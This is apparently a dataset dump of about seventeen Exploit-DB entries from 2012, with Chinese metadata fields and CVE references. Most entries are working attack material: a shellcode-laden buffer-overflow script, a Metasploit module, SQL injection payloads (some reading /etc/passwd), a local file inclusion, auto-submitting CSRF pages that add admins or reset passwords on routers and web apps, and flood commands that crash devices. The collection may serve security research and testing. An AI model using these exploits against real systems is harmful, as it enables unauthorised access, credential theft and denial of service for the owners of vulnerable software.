QLWD/code_shield huggingface dataset:
标题: Samsung NET-i ware 1.37 - Multiple Vulnerabilities EDB-ID: 18765 CVE: 2012-4335 2012-4334 2012-4333 2012-4330 2012-4329 类型: DOS 平台: WINDOWS 发布日期: 2012-04-22 漏洞利用脚本: #######################################################################

                             Luigi Auriemma

Application:  Samsung NET-i ware
              http://www.samsungsecurity.com/product/product_view.asp?idx=6447
              http://www.samsungsecurity.com/product/product_view.asp?idx=5828
Versions:     <= 1.37
Platforms:    Windows
Bugs:         A] Endless loop in remote services
              B] Code execution in ConnectDDNS ActiveX
              C] Stack overflow in BackupToAvi ActiveX
Exploitation: remote
Date:         21 Apr 2012
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


"Recording software for Samsung network cameras".


#######################################################################

=======
2) Bugs
=======


----------------------------------
A] Endless loop in remote services
----------------------------------

All the NET-i ware services are affected by an endless loop caused by
the wrong handling of negative 32bit size fields.


----------------------------------------
B] Code execution in ConnectDDNS ActiveX
----------------------------------------

Code execution vulnerability in the ConnectDDNS method used by the
following ActiveX components:
- EEDBA32E-5C2D-48f1-A58E-0AAB0BC230E3
- 17A7F731-C9EC-461C-B813-2F42A1BB58EB

  10022F80   8B02             MOV EAX,DWORD PTR DS:[EDX]
  10022F82   8B4D E8          MOV ECX,DWORD PTR SS:[EBP-18]
  10022F85   FF10             CALL DWORD PTR DS:[EAX]

The bug is not much reliable to replicate so I report it just for
reference.
No additional research performed.


----------------------------------------
C] Stack overflow in BackupToAvi ActiveX
----------------------------------------

Stack overflow in the BackupToAvi method used by the ActiveX components
3D6F2DBA-F4E5-40A6-8725-E99BC96CC23A and
208650B1-3CA1-4406-926D-45F2DBB9C299.


#######################################################################

===========
3) The Code
===========


A]
http://aluigi.org/testz/udpsz.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18112.zip

  NiwMasterService:
  udpsz -b 0x80 -T SERVER 4505 0x28

  NiwStorageService:
  udpsz -T -c "REM" 0 -C 80808080 0x10 SERVER 4508 0x14

B,C]
http://aluigi.org/poc/netiware_1b.zip


#######################################################################

======
4) Fix
======


No fix.


####################################################################### URL: https://www.exploit-db.com/exploits/18765
标题: PHP Ticket System Beta 1 - 'index.php?p' SQL Injection EDB-ID: 18778 CVE: 2012-6516 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-24 漏洞利用脚本: # Exploit Title: PHP Ticket System Beta 1 'p' SQL Injection
# Date: 04/16/12
# Author: G13
# Twitter: @g13net
# Software Site: http://sourceforge.net/projects/phpticketsystem/
# Version: Beta 1
# Category: webapp (php)
#

##### Description #####

PHP Ticket System is a small PHP MySQL trouble ticket or work
ordersystem that is a work in progress.

##### Vulnerability #####

The 'p' parameter on index.php is vulnerable to SQL Injection.

A user must be signed in to perform this attack.

##### Exploit #####

http://localhost/index.php?p=[SQLi]&id=211&_=1334627588812

##### PoC #####

http://localhost/index.php?p=edit_ticket' AND SLEEP(5) AND
'yoUg'='yoUg&id=211&_=1334627588812

##### Vendor Notification #####

4/16/12 - Vendor Notified
4/17/12 - Vendor reponse, will be fixed in next release
4/24/12 - Disclosure URL: https://www.exploit-db.com/exploits/18778
标题: Wireshark - 'call_dissector()' Null Pointer Dereference Denial of Service EDB-ID: 18758 CVE: 2012-1593 类型: DOS 平台: MULTIPLE 发布日期: 2012-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/52735/info

Wireshark is prone to a remote denial-of-service vulnerability caused by a NULL-pointer-dereference error.

An attacker can exploit this issue to crash the application, resulting in a denial-of-service condition.

The following Wireshark versions are vulnerable:

1.4.0 through 1.4.11
1.6.0 through 1.6.5 

PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18758.pcap URL: https://www.exploit-db.com/exploits/18758
标题: IrfanView FlashPix PlugIn - Decompression Heap Overflow EDB-ID: 18739 CVE: 2012-0278 类型: DOS 平台: WINDOWS 发布日期: 2012-04-14 漏洞利用脚本: #####################################################################################

Application:  IrfanView FlashPix PlugIn Decompression Heap Overflow

Platforms:   Windows

Secunia Number:   SA48772  

{PRL}:   2012-08

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============

IrfanView is a freeware/shareware image viewer for Microsoft Windows that can view, edit, and convert image files

and play video/audio files. It is noted for its small size, speed, ease of use, and ability to handle a wide variety of graphic

file formats, and has some image creation and painting capabilities. The software was first released in 1996.

IrfanView is free for non-commercial use; commercial use requires paid registration.

#####################################################################################

============
2) Timeline
============


2012-04-06 - Vulnerability reported to secunia
2012-04-13 - Coordinated public release of advisory

#####################################################################################

=================
3) Technical details
=================

The vulnerability is caused due to insufficient validation when decompressing FlashPix images

and can be exploited to cause a heap-based buffer overflow via a specially crafted FPX file.

#####################################################################################

=============
4) The PoC
=============

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19960.fpx


############################################################################### URL: https://www.exploit-db.com/exploits/18739
标题: Joomla! Component Estate Agent - SQL Injection EDB-ID: 18728 CVE: 2011-4571 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-10 漏洞利用脚本: ##################################################
# Exploit Title: joomla component (com_estateagent) SQL injection Vulnerability
# Date: 10/04/2012
# Author: xDarkSton3x
# E-mail : xdarkston3x@msn.com
# Category:: webapps
# Google dork: inurl:"com_estateagent"
# Tested on: linux + windows
# Vendor link: http://www.eaimproved.eu/index.php
##################################################

[~]Exploit/p0c :
http://site.com/index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli]

Greetz [ Rs4 - B4nz0k - FailRoot - FailSoft - W4rn1ng] - [ Malandrines Team  -  DiosdelaRed.Com - RemoteExecution ] [ Dedalo - Maztor ] URL: https://www.exploit-db.com/exploits/18728
标题: Mini-stream RM-MP3 Converter 3.1.2.2 - Local Buffer Overflow EDB-ID: 18726 CVE: 2014-9448 类型: LOCAL 平台: WINDOWS 发布日期: 2012-04-09 漏洞利用脚本: # Exploit Title : Mini-stream RM-MP3 Converter� V 3.1.2.2 Local Buffer
OverFlow
# Author : [SkY-NeT SySteMs]
# Software Link : [http://mini-stream.net/rm-to-mp3-converter/download/]
# Version : [3.1.2.2]
# Tested on : [Xp Sp 2]
# Category : Local
# Code : Python
# Email : [skynet-systems@hotmail.il.co]
# WebSite : [http://sskynetsystems.blogspot.com/]


# !/usr/bin/python

import os,sys

header= "http://."
junk= "\x41" * 17416 # [A]
ESP = "\x13\x44\x87\x7C" # 7C874413 FFE4 JMP ESP
NOPS = "\x90" * 16

ShellCode =(
"\x2b\xc9\x83\xe9\xce\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76" 
"\x0e\xa8\x6e\x77\xce\x83\xee\xfc\xe2\xf4\x54\x86\xfe\xce" 
"\xa8\x6e\x17\x47\x4d\x5f\xa5\xaa\x23\x3c\x47\x45\xfa\x62" 
"\xfc\x9c\xbc\xe5\x05\xe6\xa7\xd9\x3d\xe8\x99\x91\x46\x0e" 
"\x04\x52\x16\xb2\xaa\x42\x57\x0f\x67\x63\x76\x09\x4a\x9e" 
"\x25\x99\x23\x3c\x67\x45\xea\x52\x76\x1e\x23\x2e\x0f\x4b" 
"\x68\x1a\x3d\xcf\x78\x3e\xfc\x86\xb0\xe5\x2f\xee\xa9\xbd"
"\x94\xf2\xe1\xe5\x43\x45\xa9\xb8\x46\x31\x99\xae\xdb\x0f"
"\x67\x63\x76\x09\x90\x8e\x02\x3a\xab\x13\x8f\xf5\xd5\x4a"
"\x02\x2c\xf0\xe5\x2f\xea\xa9\xbd\x11\x45\xa4\x25\xfc\x96" 
"\xb4\x6f\xa4\x45\xac\xe5\x76\x1e\x21\x2a\x53\xea\xf3\x35"
"\x16\x97\xf2\x3f\x88\x2e\xf0\x31\x2d\x45\xba\x85\xf1\x93" 
"\xc2\x6f\xfa\x4b\x11\x6e\x77\xce\xf8\x06\x46\x45\xc7\xe9" 
"\x88\x1b\x13\x9e\xc2\x6c\xfe\x06\xd1\x5b\x15\xf3\x88\x1b" 
"\x94\x68\x0b\xc4\x28\x95\x97\xbb\xad\xd5\x30\xdd\xda\x01" 
"\x1d\xce\xfb\x91\xa2\xad\xc9\x02\x14\xe0\xcd\x16\x12\xce")
file = open("test.m3u","w")
file.write(header+junk+ESP+NOPS+ShellCode)
file.close() URL: https://www.exploit-db.com/exploits/18726
标题: ZTE - Change Admin Password EDB-ID: 18722 CVE: 2012-4746 类型: WEBAPPS 平台: CGI 发布日期: 2012-04-08 漏洞利用脚本: # Exploit Title: ZTE Change admin password
# Author: Nuevo Asesino
# Version: ZTE Inc., Software Release ZXDSL 831IIV7.5.0a_Z29_OV
#################################################################################################
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>Exploit By Nuevo Asesino </H2>
<form method="POST" name="form0" action="http:\192.168.1.1\accessaccount.cgi?sysPassword=123456">
</form>
</body>
</html> ##################################################################################################                                                                                                  
password ======> 123456
Now you can get the username & the password------------------------------------------------------Contact  :Oeb1590@hotmail.comFacebook : Https:\www.facebook.com\Want.Revenge 
              \|||/           .-.________                (o o)                ________.-.     -----/ \_)_______)  +----------oooO------------+   (_______(_/   \------         (    ()___)         The Blacke Devils               (___()    )               ()__)                                         (__()         ----\___()_)         Algeria Warriors                (_()___/-----                                                            +-------------Ooo----------+                                In:Arab47.com URL: https://www.exploit-db.com/exploits/18722
标题: Utopia News Pro 1.4.0 - Cross-Site Request Forgery (Add Admin) EDB-ID: 18720 CVE: 2012-4325 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-08 漏洞利用脚本: # Exploit Title: Utopia News Pro 1.4.0 <= CSRF Add Admin Vulnerability
# Date: 7/4/2012
# Author: Dr.NaNo
# Software Link: http://www.utopiasoftware.net/newspro/dl.php?filename=newspro140b.zip&mirror=1
# Version: 1.4.0
# Tested on: Linux-Red-Hat
# Google Dork: Powered By Utopia News Pro 1.4.0
#
########################################################
#                      ~ Exploit ~                     #
########################################################
 
<html>
<body>
<form action="http://localhost/{PATh}/upload/users.php" method="post" />
<input type="hidden" name="username" value="NANO" />
<input type="hidden" name="groupid" value="1" />
<input type="hidden" name="password" value="102030" />
<input type="hidden" name="password2" value="102030" />
<input type="hidden" name="email" value="security@security.com" />
<input type="submit" name="submitnew" accesskey="s" value="ThankS !" />
</form>
</body>
</html>
 
#### ~ Greetz ~ #########################################################
#                                                                       #
# Dr.WEP , JIKO , ahwak2000 , RENO , ABU NWAF , Dr.HAiL , snc0pe , 020  #
#                                                                       #
# JaBrOt HaCkEr , alkaseer20 , SadHaCkEr , Cyber Code , aircrack -ng    #
#                                                                       #
############################################### ~ All FriendS ~ ######### URL: https://www.exploit-db.com/exploits/18720
标题: Csound - '.hetro' File Handling Stack Buffer Overflow (Metasploit) EDB-ID: 18710 CVE: 2012-0270 类型: LOCAL 平台: WINDOWS 发布日期: 2012-04-06 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name' => 'Csound hetro File Handling Stack Buffer Overflow',
   'Description' => %q{
     This module exploits a buffer overflow in Csound before 5.16.6.
    The overflow occurs when trying to import a malicious hetro file
    from tabular format.
    In order to achieve exploitation the user should import the malicious
    file through csound with a command like "csound -U het_import msf.csd file.het".
    This exploit doesn't work if the "het_import" command is used directly
    to convert the file.
   },
   'License' => MSF_LICENSE,
   'Author' =>
    [
     'Secunia', # Vulnerability discovery
     'juan vazquez' # Metasploit module
    ],
   'Version' => '$Revision: $',
   'References' =>
    [
     [ 'CVE', '2012-0270' ],
     [ 'OSVDB', '79491' ],
     [ 'BID', '52144' ],
     [ 'URL', 'http://secunia.com/secunia_research/2012-3/' ],
     [ 'URL', 'http://csound.git.sourceforge.net/git/gitweb.cgi?p=csound/csound5.git;a=commit;h=7d617a9551fb6c552ba16874b71266fcd90f3a6f']
    ],
   'Payload' =>
    {
     'Space' => 650,
     'BadChars' => "\x00\x0a\x1a\x2c\xff",
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500
     'DisableNops' => 'True'
    },
   'Platform' => 'win',
   'Targets' =>
    [
     [ 'Csound 5.15 / Windows XP SP3 / Windows 7 SP1',
      {
       'Offset' => 132,
       'Ret' => 0x6e955446 # push esp #  ret / libgcc_s_dw2-1.dll
      }
     ],
    ],
   'Privileged' => false,
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Feb 23 2012'))

  register_options(
   [
    OptString.new('FILENAME', [ false, 'The file name.', 'msf.csd']),
   ], self.class)
 end

 def exploit
  sploit = rand_text(target['Offset'])
  sploit << [target.ret].pack("V")
  sploit << payload.encoded
  print_status("Creating '#{datastore['FILENAME']}' file ...")
  file_create(sploit)
 end

end URL: https://www.exploit-db.com/exploits/18710
标题: e-ticketing - SQL Injection EDB-ID: 18700 CVE: 2012-1673 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-04 漏洞利用脚本: 'e-ticketing' SQL Injection (CVE-2012-1673)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in loginscript.php that allows for SQL injection of the 'user_name' and 'password' POST parameters.

 
II. TESTED VERSION
---------------------------------------
Released on 2011-11-30 (no versioning used)


III. PoC EXPLOIT
---------------------------------------
POST a form to loginscript.php with the value of 'password' set to: ' UNION SELECT * from user where user_name = 'admin


IV. SOLUTION
---------------------------------------
Do not use this software, no patched version exists at this time.


V. REFERENCES
---------------------------------------
http://sourceforge.net/projects/e-ticketing/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1673


VI. TIMELINE
---------------------------------------
03/01/2012 - Initial vendor disclosure
03/03/2012 - Vendor response and commitment to fix
03/20/2012 - Follow-up e-mail to vendor as no patched version was published yet
04/04/2012 - Public disclosure URL: https://www.exploit-db.com/exploits/18700
标题: Sony Bravia - Remote Denial of Service EDB-ID: 18705 CVE: 2012-2210 类型: DOS 平台: HARDWARE 发布日期: 2012-04-05 漏洞利用脚本: # Exploit Title: Sony Bravia Remote Denial of Service
# Date: 04/04/2012
# Author: Gabriel Menezes Nunes
# Version: Sony Bravia TV
# Tested on: Sony Bravia TV (KDL-32CX525)
# CVE: CVE-2012-2210

Playing with my TV, I found a bug that can crash the device.

Running a hping command against a Sony Bravia TV (KDL-32CX525),
all the functions stop working instantly. You cannot change the
volume, channels or access any function. Instantly. After 35 seconds
the TV stop working and back. This happens 3 times. At fourth time, the
TV shuts down. In less than 3 minutes, the TV is off remotely. It is
necessary to turn on the TV physically.

Attack:

hping -S TV.IP.Address -p anyport -i u1 --flood 

Example: hping -S 10.0.0.3 -p 2828 -i u1 --flood URL: https://www.exploit-db.com/exploits/18705
标题: phpPaleo - Local File Inclusion EDB-ID: 18701 CVE: 2012-5386 2012-1671 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-04 漏洞利用脚本: 'phpPaleo' Local File Inclusion (CVE-2012-1671)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in index.php for language handling that allows for local file inclusion using a null-byte attack on the 'lang' GET parameter.

 
II. TESTED VERSION
---------------------------------------
4.8b156


III. PoC EXPLOIT
---------------------------------------
http://localhost/phppaleo/index.php?lang=../../../../../../../etc/passwd%00


IV. NOTES 
---------------------------------------
* magic_quotes_gpc must be disabled and PHP must be < 5.3.4 for null-byte attacks to work


V. SOLUTION
---------------------------------------
Upgrade to 4.8b157 or above.


VI. REFERENCES
---------------------------------------
http://sourceforge.net/projects/phppaleo/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1671


VII. TIMELINE
---------------------------------------
03/01/2012 - Initial vendor disclosure
03/02/2012 - Vendor patched and released an updated version
04/04/2012 - Public disclosure URL: https://www.exploit-db.com/exploits/18701
标题: Hotel Booking Portal - SQL Injection EDB-ID: 18702 CVE: 2012-1672 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-04 漏洞利用脚本: 'Hotel Booking Portal' SQL Injection (CVE-2012-1672)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in getcity.php that allows for SQL injection of the 'country' POST parameter.

 
II. TESTED VERSION
---------------------------------------
0.1


III. PoC EXPLOIT
---------------------------------------
POST a form to getcity.php with the value of 'country' set to: ' union select null,null,load_file(0x2f6574632f706173737764),null,null,null,null,null from users where 'a'='a


IV. SOLUTION
---------------------------------------
Do not use this software, no patched version exists at this time.


V. REFERENCES
---------------------------------------
http://sourceforge.net/projects/hbportal/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1672


VI. TIMELINE
---------------------------------------
03/02/2012 - Initial vendor disclosure
03/20/2012 - Received no response and sent a second e-mail to the vendor
04/04/2012 - Public disclosure URL: https://www.exploit-db.com/exploits/18702
标题: WordPress Plugin BuddyPress Plugin 1.5.x < 1.5.5 - SQL Injection EDB-ID: 18690 CVE: 2012-2109 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-31 漏洞利用脚本: # Exploit Title: Buddypress plugin of Wordpress remote SQL Injection
# Date: March 31, 2012
# Author: Ivan Terkin
# Exploitation: Remote Exploit
# Bug: Remote SQL Injection
# Software Link: buddypress.org
# Version: till 1.5.5
# Tested on: Buddypress 1.5.4


POST /wp-load.php HTTP/1.1
User-Agent: Mozilla
Host: example.com
Accept: */*
Referer: http://example.com/activity/?s=b
Connection: Keep-Alive
Content-Length: 153
Content-Type: application/x-www-form-urlencoded

action=activity_widget_filter&page=1%26exclude%3d1)and(1=0)UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17))%3b--+

Reported to developers and fixed in version 1.5.5 URL: https://www.exploit-db.com/exploits/18690
标题: SnackAmp 3.1.3 - '.aiff' Denial of Service EDB-ID: 18692 CVE: 2012-5917 类型: DOS 平台: LINUX 发布日期: 2012-04-01 漏洞利用脚本: SnackAmp 3.1.3 Malicious aiff File Denial of service
===================================================================================
# Exploit Title:SnackAmp 3.1.3 Malicious aiff File Denial of service
# Download link :http://sourceforge.net/projects/snackamp/
# Author: Ahmed Elhady Mohamed
# Email : ahmed.elhady.mohamed@gmail.com
# version: 3.1.3
# Category: DOS
# Tested on: ubuntu 11.4 
===================================================================================

File.open "crash1.aiff" , "w" do |file|

buffer = "A" * 10000

file.puts buffer
end URL: https://www.exploit-db.com/exploits/18692
标题: dalbum 144 build 174 - Cross-Site Request Forgery EDB-ID: 18685 CVE: 2012-5891 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-30 漏洞利用脚本: dalbum 144 build 174 and earlier CSRF Vulnerabilities
===================================================================================
# Exploit Title:dalbum 144_174 and earlier CSRF Vulnerabilities
# Vendor: http://www.dalbum.org/
# Download link :http://www.dalbum.org/index.php?go=Downloads
# Author: Ahmed Elhady Mohamed
# Email : ahmed.elhady.mohamed@gmail.com
# version: 144 build 174
# Category: webapps
# Tested on: ubuntu 11.4 
# This vulnerability allows a malicious hacker to add a user 
  delete a user and change password of a user 
===================================================================================
CSRF VUlnerabilities :

POC 1:

 <html>
 <head>
 <title>  Add a user </title>
 <script>
  function CSRF() {
   document.getElementById('CSRF').click();
  };
 </script>
 </head>
 <body onLoad="CSRF()">
  <form action="http://127.0.0.1/photo/pass.php" method="post" />
  <input name="user" value="CSRF" type="hidden" />
  <input name="pass" value="123" type="hidden" />
  <input name="passc" value="123" type="hidden" />
  <input type="hidden" name="action" value="add">
  <input type="submit" id="CSRF" name="submit" value="Submit">
 </form>
 </body>
 </html>

POC 2:

 <html>
 <head>
 <title>  Change user's password  </title>
 <script>
  function CSRF() {
   document.getElementById('CSRF').click();
  };
 </script>
 </head>
 <body onLoad="CSRF()">
 <form action="http://127.0.0.1/photo/pass.php" method="post" />
  <input name="user" value="admin" type="hidden" />
  <input name="pass" value="111" type="hidden" />
  <input name="passc" value="111" type="hidden" />
  <input name="change" value="Change password" type="hidden" />
  <input type="hidden" name="action" value="change">
  <input type="submit" id="CSRF" name="submit" value="Submit">
 </form>
 </body>
 </html>

POC 3:

 <html>
 <head>
 <title>  Delete a user  </title>
 <script>
  function CSRF() {
   document.getElementById('CSRF').click();
  };
 </script>
 </head>
 <body onLoad="CSRF()">
 <form action="http://127.0.0.1/photo/pass.php" method="post" />
  <input name="user" value="a" type="hidden" />
  <input type="hidden" name="delete" value="Delete">
  <input type="submit" id="CSRF" name="submit" value="Submit">
 </form>
 </body>
 </html> URL: https://www.exploit-db.com/exploits/18685